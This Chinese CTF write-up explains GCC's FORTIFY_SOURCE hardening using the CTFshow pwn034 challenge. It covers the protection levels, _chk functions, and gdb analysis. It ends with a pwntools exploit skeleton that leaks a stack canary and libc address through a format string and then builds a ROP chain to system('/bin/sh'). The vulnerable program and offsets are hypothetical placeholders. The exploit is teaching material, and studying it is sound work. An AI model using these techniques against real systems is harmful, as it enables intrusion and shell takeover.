1. 项目概述:从一道CTF题看FORTIFY_SOURCE的攻防博弈
如果你刚接触pwn,做完一些基础的栈溢出题目,可能会觉得“格式化字符串”、“栈溢出”这些漏洞利用起来好像挺直接的。但当你开始挑战一些现代环境下的题目,比如CTFshow的pwn034,很可能一脚就踩进了坑里:明明构造了完美的payload,程序却直接崩溃退出,连个错误信息都看不到,或者干脆提示“*** stack smashing detected ***”。这背后,很可能就是一个叫做 FORTIFY_SOURCE 的安全编译选项在“捣鬼”。这道题以 FORTIFY_SOURCE=2 为背景,它不是一个让你去直接绕过它的漏洞题,而是一个绝佳的教学案例,逼迫你去理解现代Linux系统下,编译器是如何给脆弱的C库函数穿上“盔甲”的。搞懂它,你才能知道为什么以前的exp不好使了,以及面对真实环境中更严格的防护时,你的漏洞利用思路需要做哪些根本性的调整。这对于任何想从CTF进阶到真实漏洞分析或安全研究的人来说,都是绕不开的一课。
2. 核心安全机制:FORTIFY_SOURCE深度解析
2.1 设计初衷与核心思想
FORTIFY_SOURCE 是GCC编译器提供的一项针对缓冲区溢出漏洞的编译时强化技术。它的设计哲学非常直观:很多安全漏洞源于程序员错误地使用了那些不会自动检查边界的老式C库函数,比如 strcpy , sprintf , memcpy 等。与其指望所有程序员都写出完美的、无懈可击的代码,不如让编译器在编译时和运行时帮一把。
它的核心思想是“替换”和“检查”。在编译时,编译器会识别代码中对某些“危险函数”的调用。如果它能够根据上下文(比如目标缓冲区的大小是已知的常量)推断出这次调用可能超出缓冲区边界,它就会用一个“强化版本”的函数来替换原来的调用。这个强化版本函数在真正执行内存操作前,会插入额外的边界检查。如果检查失败,程序会立即终止(通常调用 __chk_fail ),并输出错误信息,而不是继续执行导致不可控的内存破坏。
这就像给一个可能漏水的旧水龙头(危险函数)加装了一个自动感应器(检查逻辑)。当水快满出杯子(缓冲区)时,感应器会立即关闭阀门并报警,而不是任由水漫金山(内存越界)。
2.2 不同等级(Level)的含义与区别
FORTIFY_SOURCE 并不是一个非黑即白的开关,它提供了不同的强化等级,通过 -D_FORTIFY_SOURCE 宏来定义。
- 未定义或
-D_FORTIFY_SOURCE=0:这是默认状态,不启用任何FORTIFY_SOURCE保护。所有函数调用都使用最原始、最快但也最不安全的版本。CTF中很多基础题目的环境就是这样的,方便初学者理解最原始的漏洞原理。 -
-D_FORTIFY_SOURCE=1:这是默认的优化等级(-O1)及以上时会启用的级别。在此级别下,编译器只对那些它 在编译时就能确定缓冲区大小 的函数调用进行替换和检查。例如,对于char buf[64]; strcpy(buf, src);,如果buf的大小是编译期常量64,编译器可能会用__strcpy_chk(buf, src, 64)来替换strcpy。这个_chk版本会在复制前检查src的长度是否小于64。但如果缓冲区大小是通过malloc动态分配的,编译器在编译时无法知道其确切大小,那么在这个级别下就不会进行加固。 -
-D_FORTIFY_SOURCE=2:这是最高级别的保护,也是CTFshow pwn034这道题所考察的重点。在-O2优化等级下,它会 额外 加入一些运行时检查。即使缓冲区大小不是编译期常量,它也会尝试进行保护。例如,对于memcpy(dest, src, n),即使dest的大小是变量,FORTIFY_SOURCE=2也可能会插入检查,确保n不超过dest对象的实际大小(如果这个大小在运行时可知)。这大大扩展了保护范围。
注意 :
FORTIFY_SOURCE=2必须 与优化选项-O2(或更高)一起使用才能生效。这是因为许多运行时检查需要依赖优化后的代码结构和信息。如果你在编译时只指定了-D_FORTIFY_SOURCE=2而没有-O2,那么你可能实际上只得到了level 1甚至没有保护的效果。这是一个非常关键的实操细节。
2.3 受保护的关键函数类别
FORTIFY_SOURCE 主要针对字符串操作和内存操作函数。以下是一些最常见的被保护函数及其行为变化:
-
字符串函数 :
-
strcpy->__strcpy_chk -
strcat->__strcat_chk -
sprintf,vsprintf->__sprintf_chk,__vsprintf_chk -
gets-> 这个函数本身极其危险,高版本GCC直接拒绝编译,建议用fgets替代。 -
scanf,printf系列:对格式化字符串漏洞也有一定的检测能力。
-
-
内存操作函数 :
-
memcpy->__memcpy_chk -
memmove->__memmove_chk -
memset->__memset_chk
-
-
文件/输入输出函数 :
-
read,write:在某些情况下也会被检查。 -
fread,fwrite。
-
当这些函数的 _chk 版本检测到长度违规时,通常会调用 __chk_fail() 函数,该函数会打印错误信息(如“*** buffer overflow detected ***”)并调用 abort() 终止程序。在CTF的pwn题中,这通常意味着你的利用链会在这里被强行打断。
3. 题目环境搭建与初步分析
3.1 题目文件获取与基础检查
拿到一个pwn题,第一步永远是信息收集。假设我们有一个名为 pwn034 的可执行文件。
首先,使用 file 命令查看文件基本信息:
file pwn034
输出可能类似于: pwn034: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=..., for GNU/Linux 3.2.0, with debug_info, not stripped 。这告诉我们它是64位动态链接的ELF文件,并且 没有剥离符号表 ( not stripped ),这通常意味着函数名等调试信息还在,对逆向分析非常友好。
接下来,用 checksec 这个脚本(通常集成在pwntools或单独安装)检查程序开启了哪些安全机制:
checksec pwn034
对于这道题,你可能会看到类似下面的输出:
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
FORTIFY: Enabled
这里的关键信息是:
- Stack Canary : 已开启。这是防止栈溢出的另一大机制,会在函数返回地址前插入一个随机值(金丝雀),函数返回前检查该值是否被改变。
- NX : 已开启。数据执行保护,栈和堆上的内存不可执行,阻止了直接执行shellcode的简单攻击。
- PIE : 未开启。程序基地址固定,便于我们计算gadget的绝对地址。
- FORTIFY : Enabled。这正是本题的核心。它告诉我们程序编译时启用了
FORTIFY_SOURCE。
3.2 识别FORTIFY_SOURCE的影响
如何确认 FORTIFY_SOURCE 确实在起作用,并且是level 2?我们可以通过反汇编和动态调试来观察。
使用 objdump 或 readelf 查看程序的动态符号表,寻找那些 _chk 函数:
objdump -T pwn034 | grep _chk
或者
readelf -s pwn034 | grep _chk
如果你看到了 __printf_chk 、 __strcpy_chk 、 __read_chk 等符号的引用,那就铁证如山了。程序链接并使用了这些强化函数。
更直观的方法是使用GDB调试。在可能存在漏洞的函数(比如一个使用了 strcpy 的 vuln_func )上下断点,然后单步步入( si )。你会发现,原本应该跳转到 strcpy@plt 的 call 指令,实际上跳转到了一个类似 __strcpy_chk 的地方。这就是编译时替换发生的直接证据。
3.3 编写测试代码理解行为差异
光看题目不够直观,我们可以自己写个小程序来感受一下。创建一个 test_fortify.c 文件:
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void vulnerable_func() {
char buffer[16];
// 情况1:源字符串长度已知且过长
strcpy(buffer, "This is a very long string that will definitely overflow!");
// 情况2:从标准输入读入,长度未知
// gets(buffer); // 高版本GCC会报错
printf("Buffer: %s\n", buffer);
}
int main() {
vulnerable_func();
return 0;
}
然后我们用不同的参数编译它:
# 编译1:无保护
gcc -o test_no_fortify test_fortify.c -fno-stack-protector -z execstack -no-pie
# 编译2:启用FORTIFY_SOURCE=2
gcc -o test_with_fortify test_fortify.c -fno-stack-protector -z execstack -no-pie -O2 -D_FORTIFY_SOURCE=2
运行两个程序,你会看到截然不同的结果。 test_no_fortify 可能会崩溃,也可能正常输出乱码然后崩溃(取决于溢出内容),而 test_with_fortify 会立即打印出“*** buffer overflow detected ***”并中止。通过 objdump -d 对比两个二进制文件中 vulnerable_func 的反汇编代码,你能清晰地看到 strcpy 被替换成了 __strcpy_chk ,并且多出了长度检查和 __chk_fail 的调用路径。
4. 漏洞代码静态分析与攻击面评估
4.1 关键函数逆向与漏洞点定位
回到 pwn034 题目本身。我们需要用逆向工具(如IDA Pro, Ghidra, r2)或者直接 objdump -d 来分析程序逻辑。假设我们通过分析找到了一个疑似存在漏洞的函数:
// 伪代码,基于逆向结果
void vuln() {
char buf[64]; // 栈上缓冲区,大小64字节
int size;
printf("Input size: ");
scanf("%d", &size); // 用户可控的size
getchar(); // 吃掉换行符
printf("Input content: ");
// 危险操作:使用read读入数据,但长度size用户可控
read(0, buf, size); // <-- 潜在的缓冲区溢出点
// 或者可能是 gets(buf); 但gets在FORTIFY下会被警告或替换
printf("You said: %s\n", buf);
}
在普通编译下,如果 size 大于64,这里就会发生栈溢出。但在 FORTIFY_SOURCE=2 启用且 read 被强化的情况下,实际的调用可能是 __read_chk(0, buf, size, 64) 。这个 _chk 版本会在执行前检查第三个参数 size 是否小于等于第四个参数 buf 的实际大小(这里是64)。如果 size > 64 ,检查失败,程序终止。
那么,攻击面在哪里?题目不会出一个完全无法利用的题。我们需要思考:
- 是否存在绕过的可能? 比如,
size虽然可控,但程序自身对size有一个上限检查(比如if(size > 64) { error; }),但检查逻辑有误?或者存在整数溢出,使得size在检查时合法,但传入read时变成了一个很大的数? - 漏洞点是否在其他函数?
FORTIFY_SOURCE主要保护一些标准库函数。如果漏洞是利用自定义的逻辑漏洞、整数溢出、或者未受保护的指针操作(如数组索引越界写),那么FORTIFY可能无效。 - 格式化字符串漏洞?
printf(buf)如果存在,FORTIFY对printf也有保护(__printf_chk),它会限制使用%n等危险格式化符在非常量格式字符串中的使用,但并非完全免疫。
4.2 绕过思路初探:不是击败,而是共存
面对 FORTIFY_SOURCE ,尤其是level 2,想直接“绕过”它对内存操作的检查是非常困难的,因为这相当于要绕过编译器插入的、硬编码的运行时检查。更务实的思路是“规避”或“利用其局限性”。
-
利用未受保护的代码路径 :这是最可能的突破口。仔细审计整个程序,寻找那些没有使用危险函数,但仍然可以达成内存读写原语的地方。例如:
- 整数溢出导致循环越界 :
for(i=0; i<=size; i++) { buf[i] = ... },如果size是int,传入-1,i<=size条件可能永远为真(当i从0递增到INT_MAX再溢出为负数时),导致越界写。这种逻辑漏洞FORTIFY管不了。 - 指针运算错误 :
ptr = buf + user_controlled_offset; *ptr = value;如果offset可控,可以直接修改任意地址。这也不依赖strcpy/memcpy。 - Use-After-Free (UAF) 或 Double Free :堆漏洞,与栈保护无关。
- 整数溢出导致循环越界 :
-
利用检查的“盲点” :
FORTIFY_SOURCE的检查依赖于编译器在编译时能获取到的信息。- 如果目标缓冲区的大小信息在编译时完全不可知(比如指向堆内存的指针,其大小在运行时由
malloc决定),那么即使是level 2,也可能无法插入有效的检查。但这种情况在现代GCC中越来越少。 - 检查可能只针对特定的函数调用模式。如果通过复杂的指针转换或函数指针调用绕过了编译器的识别,也可能躲过检查(但这需要极高的技巧,且不稳定)。
- 如果目标缓冲区的大小信息在编译时完全不可知(比如指向堆内存的指针,其大小在运行时由
-
利用格式化字符串漏洞的残余能力 :即使启用了
__printf_chk,格式化字符串漏洞也并非完全无用。它可能无法直接写任意地址(%n可能被限制),但依然可以 泄露内存数据 。结合程序本身存在的其他缺陷(如一个可以写一次的溢出点),通过信息泄露来获取关键地址(如libc基址、栈地址、canary值),再结合其他漏洞完成利用,是一条经典链。
对于pwn034,我们需要沿着这些思路,结合具体的二进制代码,去寻找那条可行的攻击路径。
5. 动态调试与漏洞利用链构造
5.1 使用GDB/Pwndbg进行动态分析
静态分析给了我们蓝图,动态调试则是施工现场。我们使用GDB(配合Pwndbg插件效率更高)来运行程序,观察其实际行为。
首先,启动调试:
gdb ./pwn034
在GDB中,我们可以在疑似漏洞函数和 _chk 函数处下断点。
(gdb) b vuln
(gdb) b __read_chk
(gdb) r
当程序运行到 vuln 函数时,单步执行( ni 或 si )。当执行到 read 调用时,观察它是否跳转到了 __read_chk 。如果是,使用 disas 查看 __read_chk 附近的汇编代码,你会看到类似这样的模式:
call __read_chk
...
cmp rdx, rcx ; 比较要读取的长度(size)和缓冲区大小
jbe .Lgood ; 如果 size <= buffer_size,跳转到正常读取
call __chk_fail ; 否则,调用失败处理函数
我们可以通过修改寄存器来验证检查逻辑。在 call __read_chk 之前, rdi 是文件描述符(0为标准输入), rsi 是缓冲区地址, rdx 是用户输入的 size , rcx 是缓冲区的实际大小(编译器推导出的)。我们可以通过 set $rdx=100 来尝试传入一个大于缓冲区的值,然后单步,观察是否会跳转到 __chk_fail 。
更重要的是,我们需要寻找程序中的 信息泄露点 。例如,如果程序有一个“输出名字”的功能,它可能用 printf(name) ,而 name 可能来自我们之前的输入。如果 name 数组没有正确初始化,或者我们可以控制其内容,就可能泄露栈上的数据,包括 Canary 和 返回地址 。
实操心得 :在调试启用了
FORTIFY和Canary的程序时,关注程序崩溃前的输出。__chk_fail和__stack_chk_fail都会打印错误信息,这些信息有时会包含有用的内存地址线索。另外,可以尝试在__stack_chk_fail处下断点,观察栈状态,回溯是哪个函数的canary被破坏了。
5.2 构造利用链:信息泄露 + 有限写
假设我们在pwn034中发现了以下情况:
- 存在一个格式化字符串漏洞(
printf(user_input)),可以泄露栈内存。 - 存在一个受
FORTIFY保护的read溢出点,但程序对输入的size有检查:if (size > 64 && size < 128) { ... read(buf, size) ... }。这个检查很奇怪,它允许size在65到127之间,这仍然会溢出64字节的缓冲区。
那么,一个可能的利用链是: 阶段一:信息泄露
- 利用格式化字符串漏洞,泄露出:
- 栈上的libc地址 :用于计算libc基址,进而得到
system、/bin/sh地址。 - 栈上的程序地址 :用于计算程序基址(如果没开PIE,可能不需要)。
- Canary值 :这是覆盖返回地址前必须跨越的“雷区”。我们需要在payload中正确填充这个值,才能让
__stack_chk_fail不被触发。 - 栈地址本身 :用于定位我们输入的缓冲区在栈上的确切位置,方便我们构造ROP链。
- 栈上的libc地址 :用于计算libc基址,进而得到
阶段二:有限溢出与ROP链布置
- 虽然
read有FORTIFY检查,但检查的是size和buf的大小。如果程序自身的检查逻辑允许size为72(64字节buf + 8字节canary),那么我们就能刚好覆盖到canary之后的位置。 - 但我们不能破坏canary!所以我们的payload结构必须是:
[64字节填充] + [正确的Canary值] + [新的返回地址] + [更多ROP gadget]。 - 通过信息泄露阶段获得的canary值,我们把它填回去。这样,函数返回时的canary检查就能通过。
- 新的返回地址指向我们构造的ROP链。由于NX开启,我们不能执行栈上的shellcode,所以必须使用ROP(Return-Oriented Programming)。利用libc中的gadget(如
pop rdi; ret)和函数(system)来调用system("/bin/sh")。
阶段三:触发与getshell
- 完成溢出后,函数正常返回,跳转到我们的ROP链,最终获得shell。
这个利用链的关键在于, FORTIFY_SOURCE 阻止了我们进行大规模的、任意的栈溢出,但它无法阻止我们利用程序自身的逻辑缺陷(有问题的 size 检查)进行 精确的、有限的溢出 。同时,它也无法阻止信息泄露漏洞。两者结合,就构成了完整的攻击面。
5.3 编写Exploit脚本(Pwntools示例)
下面是一个利用pwntools框架编写的exploit脚本框架,展示了上述思路:
#!/usr/bin/env python3
from pwn import *
context.binary = './pwn034'
context.log_level = 'debug'
# 1. 启动进程
p = process('./pwn034') # 本地调试
# p = remote('xxx.xxx.xxx.xxx', 9999) # 远程连接
# 2. 第一阶段:利用格式化字符串泄露信息
def leak_info():
p.recvuntil(b'choice:')
p.sendline(b'2') # 假设选项2触发格式化字符串
payload = b'%p.' * 20 # 泄露栈上多个地址
p.sendline(payload)
output = p.recvuntil(b'Enter').split(b'.') # 根据实际输出调整
# 解析output,提取canary和libc地址
# canary通常特征:末尾是00,且位于特定偏移
# libc地址通常可以通过某个指向libc内部的指针泄露
leaked_canary = int(output[6], 16) # 假设第7个值是canary
leaked_libc_addr = int(output[11], 16) # 假设第12个值是libc内的地址
return leaked_canary, leaked_libc_addr
canary, libc_leak = leak_info()
log.success(f'Canary: {hex(canary)}')
log.success(f'Libc leak: {hex(libc_leak)}')
# 计算基址
libc_base = libc_leak - 0xxxxxx # 减去偏移,需要根据泄露的符号确定
system_addr = libc_base + libc.symbols['system']
binsh_addr = libc_base + next(libc.search(b'/bin/sh\x00'))
log.success(f'Libc base: {hex(libc_base)}')
log.success(f'system: {hex(system_addr)}')
log.success(f'/bin/sh: {hex(binsh_addr)}')
# 3. 第二阶段:利用有限溢出布置ROP链
p.recvuntil(b'choice:')
p.sendline(b'1') # 假设选项1触发有问题的read
# 构造payload
pop_rdi_ret = libc_base + 0xxxxxx # 在libc中寻找 pop rdi; ret gadget
ret_addr = libc_base + 0xxxxxx # 可能需要的 ret gadget 用于栈对齐
payload = b'A' * 64 # 填充缓冲区
payload += p64(canary) # 覆盖并保持canary正确
payload += b'B' * 8 # 覆盖旧的rbp (如果需要)
# ROP链: system("/bin/sh")
payload += p64(pop_rdi_ret)
payload += p64(binsh_addr)
payload += p64(ret_addr) # 可选,用于栈对齐
payload += p64(system_addr)
# 发送payload,size要符合程序检查(比如72)
p.sendline(str(len(payload)).encode()) # 发送size
p.send(payload) # 发送内容
# 4. 享受shell
p.interactive()
注意事项 :这个脚本是一个高度简化的框架。实际应用中,你需要通过动态调试确定准确的泄露偏移、gadget地址、libc版本和偏移。
libc的版本至关重要,不同版本的libc,其函数和gadget的偏移完全不同。通常需要结合题目提供的libc文件,或者通过泄露多个地址来推断libc版本。
6. 进阶技巧与对抗思路
6.1 针对不同FORTIFY_SOURCE等级的探测与识别
在真实的漏洞利用或渗透测试中,我们可能无法直接拿到二进制文件。如何远程探测目标程序是否启用了 FORTIFY_SOURCE 呢?
- 通过错误信息 :尝试触发一个明显的缓冲区溢出。如果收到“*** buffer overflow detected ***”或“*** %n in writable segment detected ***”这类非常标准的错误信息,基本可以确定
FORTIFY_SOURCE已启用。这些信息来自glibc的__chk_fail和__fortify_fail函数。 - 通过侧信道 :如果程序没有直接输出错误信息,可以通过观察程序行为来推断。例如,发送一个超长字符串,如果程序在某个固定长度(恰好等于缓冲区大小)处无差别崩溃,而在稍长一点时立即、干净地退出,这可能暗示有边界检查。
- 通过符号泄露 :如果存在信息泄露漏洞,可以尝试泄露GOT表(Global Offset Table)的内容。GOT表中存放着动态链接函数的实际地址。如果看到函数名是
__printf_chk而不是printf,或者__read_chk而不是read,那就是确凿证据。
6.2 当FORTIFY_SOURCE遇上其他保护机制
现代程序往往是多重保护机制叠加的。 FORTIFY_SOURCE 经常与以下机制协同工作:
- Stack Canary :防止覆盖返回地址。需要先泄露canary。
- NX/DEP :防止执行数据段代码。需要转向ROP。
- ASLR/PIE :随机化地址空间。需要信息泄露来绕过。
- RELRO :保护GOT表不被改写。Full RELRO下很难进行GOT劫持,需要更复杂的利用技术。
我们的利用链必须同时应对所有这些机制。通常的流程是: 信息泄露(解决ASLR/PIE,获取canary) -> 有限写或任意写(绕过FORTIFY/Canary) -> ROP或跳转到已有函数(绕过NX) 。
6.3 从CTF到现实:FORTIFY_SOURCE的局限性
CTF题目为了可解性,往往会留下一些“后门”或明显的逻辑缺陷。但在现实中, FORTIFY_SOURCE 作为编译时保护,其有效性取决于:
- 代码质量 :它只能保护那些它识别出的、使用特定危险函数的模式。如果漏洞源于复杂的逻辑错误、算法缺陷或未受保护的指针操作,
FORTIFY无能为力。 - 编译选项 :正如之前强调的,
FORTIFY_SOURCE=2需要-O2。如果构建脚本配置错误,保护可能未完全生效。 - 对旧代码的覆盖 :它主要针对标准C库函数。程序内部自定义的不安全函数或内联汇编,不会被保护。
因此,在安全开发中, FORTIFY_SOURCE 是一个非常重要的 深度防御 层,但它绝不能替代安全的编码实践、代码审计和其他的运行时保护机制(如ASLR、沙箱等)。对于攻击者而言,面对启用了 FORTIFY 的程序,需要将重点从简单的缓冲区溢出,转移到寻找更高级的逻辑漏洞、类型混淆、UAF等 FORTIFY 覆盖不到的领域。
7. 总结与资源延伸
通过CTFshow pwn034这道题,我们深入理解了 FORTIFY_SOURCE 这一编译时安全机制。它不是一个无法逾越的壁垒,而是一个改变了游戏规则的防御者。它迫使攻击者采用更复杂、更精巧的攻击链,通常需要结合信息泄露和程序自身的逻辑缺陷。
要熟练掌握这类题目的解法,你需要:
- 扎实的基础 :理解栈结构、函数调用约定、汇编语言。
- 熟练的工具使用 :GDB/Pwndbg动态调试,pwntools脚本编写,IDA/Ghidra静态分析。
- 系统的漏洞利用知识 :理解Canary、NX、ASLR、ROP等概念及其绕过方法。
- 耐心和细心 :信息泄露的偏移、gadget的寻找、libc版本的确认为,都需要反复调试和验证。
我个人在练习这类题目时,最深的体会是: 调试日志是你的最佳伙伴 。把每一次尝试的payload、程序输出、崩溃信息都详细记录下来。很多时候,成功就藏在某一次看似失败的崩溃信息里,比如一个意外的地址泄露。另外,不要只满足于做出题目,要多问“为什么”:为什么这个gadget在这里?为什么这个检查是这样实现的?理解背后的原理,才能举一反三,应对未来更复杂的挑战。
如果你想进一步学习,我推荐:
- 实践更多题目 :CTFshow的pwn系列、攻防世界的pwn题、以及各大CTF平台的历年pwn题,都是极好的练习材料。从简单到复杂,逐步提升。
- 阅读glibc源码 :看看
__chk_fail、__stack_chk_fail以及各种_chk函数的实现,能让你对保护机制有更本质的认识。 - 关注安全研究 :阅读Phrack、USENIX Security等顶级会议论文,以及优秀安全博客(如Google Project Zero的博客),了解最新的漏洞利用和缓解技术。
安全是一个永无止境的攻防循环。理解像 FORTIFY_SOURCE 这样的防御机制,不仅能帮你解决CTF题目,更能让你以防御者的视角去思考代码安全,成为一名更全面的安全从业者。

1万+

被折叠的 条评论
为什么被折叠?



